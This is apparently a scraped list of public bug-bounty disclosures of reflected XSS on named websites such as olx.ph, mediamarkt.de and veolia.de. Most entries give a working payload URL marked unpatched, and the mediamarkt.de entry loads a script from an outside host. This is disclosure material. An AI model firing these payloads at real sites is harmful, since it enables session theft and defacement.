OLX: Reflected XSS at m.olx.ph

INTRO The m.olx.ph domain is vulnerable to reflected XSS through the search function. EXPLOITABILITY & PoC The following URL contains an XSS vector, which causes an alert box to appear https://m.olx.ph/all-results?q=:%27%3E%3Cimg%20src=/%20onerror=alert%28document.domain%29%3E or...

ledepartement66.fr XSS vulnerability

Vulnerable URL: http://www.ledepartement66.fr/79-votre-recherche.htm?searchString=%3C%2Ftitle%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

lejdc.fr XSS vulnerability

Vulnerable URL: http://www.lejdc.fr/recherche.html?uidSite=2====%22%3E%3Csvg+onload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E&datePublication.debut;=&datePublication.fin;==TRIDATEDESC Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS...

eburg.ucheba.ru XSS vulnerability

Vulnerable URL: http://eburg.ucheba.ru/search?eq=s:fr=to= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 17966 VIP website status:| Yes Check eburg.ucheba.ru SSL connection:| Grade: F Coordinated Disclosure...

couch-tuner.ag XSS vulnerability

Vulnerable URL: http://www.couch-tuner.ag/?s="'/;a=eval;b=alert;ab/xssposed/;...

mediamarkt.de XSS vulnerability

Vulnerable URL: http://www.mediamarkt.de/de/search.html?storeId=48353=-3=onlineshop=mmdede===test';mcs.jQuery.getScript%22//loshackers.de/a.js%22;'a':'b Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

firmaskra.is XSS vulnerability

Vulnerable URL: http://www.firmaskra.is/search.php?q=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11618356 VIP website status:| No Check firmaskra.is SSL connection:| Grade: F...

leamingtoncourier.co.uk XSS vulnerability

Open Bug Bounty ID: OBB-177811 Description| Value ---|--- Affected Website:| leamingtoncourier.co.uk Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

retfordtoday.co.uk XSS vulnerability

Vulnerable URL: http://www.retfordtoday.co.uk/search?query=rihanna+is+pretty+good=%22prompt%22OPENBUGBOUNTY%22%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5657758 VIP website...

lest-eclair.fr XSS vulnerability

Vulnerable URL: http://www.lest-eclair.fr/recherche/qqqqq...

gin-pachi.jp XSS vulnerability

Vulnerable URL: http://gin-pachi.jp/search?keyword=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 15754...

storebot.me XSS vulnerability

Vulnerable URL: https://storebot.me/search?text==" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 65190 VIP website status:| No Check storebot.me SSL connection:| Grade: F...

veolia.de XSS vulnerability

Vulnerable URL: http://veolia.de/search?keywords=%22%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C%2Fscript%3E%3C%22 Details: Description| Value ---|--- Patched:| Yes, at 27.07.2017 Latest check for patch:| 27.07.2017 23:10 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

professor.bio.br XSS vulnerability

Vulnerable URL: http://www.professor.bio.br/search.asp?search=vacina" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 215231 VIP website status:| No Check professor.bio.br SSL...

aiyou.com XSS vulnerability

Vulnerable URL: http://www.aiyou.com/search?keyword=%5B%27%27%5D%27%3E%20%3C/form%3E%3Cscript%3Ealert%22OPENBUGBOUNTY%22;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

agrarszektor.hu XSS vulnerability

Vulnerable URL:...

thenexttask.com XSS vulnerability

Vulnerable URL: http://thenexttask.com/search?q=...

anticartel.ru XSS vulnerability

Vulnerable URL:...

OLX: Reflected XSS in www.olx.ph

Summary === The www.olx.ph domain is vulnerable to reflected XSS through the search function. Proof of concept === The following URL contains a harmless XSS vector, which causes an alert box to appear...

parenting.co.id XSS vulnerability

Vulnerable URL: http://www.parenting.co.id/search/?p=2search=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 204590 VIP website status:| No Check parenting.co.id SSL connection:|...